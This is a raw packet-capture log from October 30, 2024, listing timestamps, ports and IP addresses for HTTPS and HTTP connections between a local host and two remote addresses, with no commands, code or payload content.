Oct 30, 2024 04:34:20.308654070 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:20.308717012 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:20.308737040 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:20.469865084 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:20.469911098 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:20.470005989 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:20.470330000 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:20.470341921 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.084830999 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.085028887 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:21.086253881 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:21.086260080 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.086606979 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.087817907 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:21.087980032 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:21.088016987 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.088078976 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:21.088084936 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.857846022 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.857944012 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:21.857994080 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:21.858117104 CET	49731	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:21.858130932 CET	443	49731	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:22.119365931 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.119493961 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:22.119585991 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.119894028 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.119927883 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:22.748563051 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:22.748667955 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.750015020 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.750030994 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:22.750289917 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:22.751426935 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.751605988 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.751636982 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:22.751710892 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:22.751724005 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:23.653700113 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:23.653786898 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:23.653856039 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:23.653959036 CET	49742	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:23.653990030 CET	443	49742	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:23.893152952 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:23.893182039 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:23.893277884 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:23.893610954 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:23.893624067 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:24.507074118 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:24.507194996 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:24.508369923 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:24.508379936 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:24.508619070 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:24.509984970 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:24.510083914 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:24.510090113 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:24.981854916 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:24.981959105 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:24.982043982 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:24.982249975 CET	49753	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:24.982260942 CET	443	49753	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:25.529268026 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:25.529278994 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:25.529516935 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:25.529652119 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:25.529660940 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.137274027 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.137353897 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.138535023 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.138540030 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.138776064 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.144654036 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.145533085 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.145564079 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.145664930 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.145703077 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.145821095 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.145845890 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.145976067 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.145994902 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.146148920 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.146181107 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.146342039 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.146365881 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.146375895 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.146385908 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.146524906 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.146548986 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.146573067 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.146703959 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.146739006 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.156433105 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.156599045 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.156615973 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:26.156653881 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.156682014 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.156738997 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:26.162026882 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:27.868585110 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:27.868695021 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:27.868793964 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:27.868967056 CET	49761	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:27.868978977 CET	443	49761	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:27.897377014 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:27.897418976 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:27.897598982 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:27.897839069 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:27.897854090 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.507220984 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.507302046 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:28.508579016 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:28.508589983 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.508912086 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.510297060 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:28.510298014 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:28.510375977 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.975580931 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.975696087 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.975847006 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:28.976161003 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:28.976187944 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.976201057 CET	49775	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:28.976207018 CET	443	49775	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:28.979373932 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:28.984720945 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:28.984813929 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:28.984989882 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:28.990267038 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.892990112 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893008947 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893018961 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893042088 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893057108 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893071890 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893088102 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893104076 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893105984 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:29.893119097 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893136978 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.893181086 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:29.893181086 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:29.898600101 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.898616076 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.898633003 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.898647070 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:29.898679972 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:29.898720980 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.048222065 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048240900 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048326015 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.048361063 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048527956 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048583984 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.048693895 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048707962 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048731089 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048748016 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048758030 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.048763037 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048787117 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048801899 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048815012 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.048835039 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048851013 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048851967 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.048866034 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048877954 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.048882961 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.048901081 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.088852882 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.165278912 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165316105 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165330887 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165411949 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.165462017 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165508032 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.165509939 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165527105 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165564060 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.165952921 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165968895 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.165985107 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.166008949 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.166426897 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.166443110 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.166460037 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.166474104 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.166476011 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.166496038 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.200340033 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.200366020 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.200440884 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.284463882 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.284492970 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.284508944 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.284539938 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.284554005 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.284570932 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.284598112 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.284989119 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.285012007 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.285028934 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.285034895 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.285046101 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.285063982 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.285073042 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.285121918 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.285924911 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.285950899 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.286005974 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.378484964 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.378515005 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.378603935 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.402734041 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.402753115 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.402769089 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.402833939 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.403247118 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.403301001 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.404045105 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404059887 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404119015 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.404186964 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404201984 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404217958 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404232979 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404247046 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.404247999 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404263973 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404270887 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.404282093 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.404304981 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.406915903 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.406933069 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.406949997 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.406979084 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.407027006 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.490472078 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.490489960 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.490592957 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.521331072 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521348000 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521410942 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521435976 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521442890 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.521498919 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.521635056 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521660089 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521702051 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.521893024 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521908998 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521924973 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.521956921 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.522336960 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.522361994 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.522377968 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.522381067 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.522397995 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.522414923 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.522428036 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.522461891 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.523202896 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.523217916 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.523232937 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.523258924 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.573174000 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.608865023 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.608890057 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.608947992 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.640068054 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640134096 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640147924 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640162945 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640180111 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640187979 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.640229940 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.640548944 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640562057 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640593052 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.640702963 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640718937 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640736103 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640746117 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.640753031 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.640772104 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.641249895 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.641271114 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.641285896 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.641299963 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.641331911 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.641629934 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.641645908 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.641663074 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.641686916 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.682570934 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.683515072 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.683541059 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.683594942 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.758898973 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.758963108 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759016037 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.759063005 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759078979 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759097099 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759111881 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759123087 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.759135962 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759171963 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.759736061 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759748936 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759785891 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.759884119 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759900093 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759916067 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.759941101 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.759979963 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.760205984 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.760220051 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.760279894 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.760406017 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.760421991 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.760437012 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.760462046 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.807565928 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.847861052 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.847879887 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.847896099 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.847959042 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.877677917 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.877728939 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.877762079 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.877790928 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.877811909 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.877829075 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.877835035 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.877845049 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.877867937 CET	49781	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:34:30.878365040 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.878379107 CET	80	49781	185.215.113.16	192.168.2.7
Oct 30, 2024 04:34:30.878413916 CET	49781	80	192.168.2.7	185.215.113.16
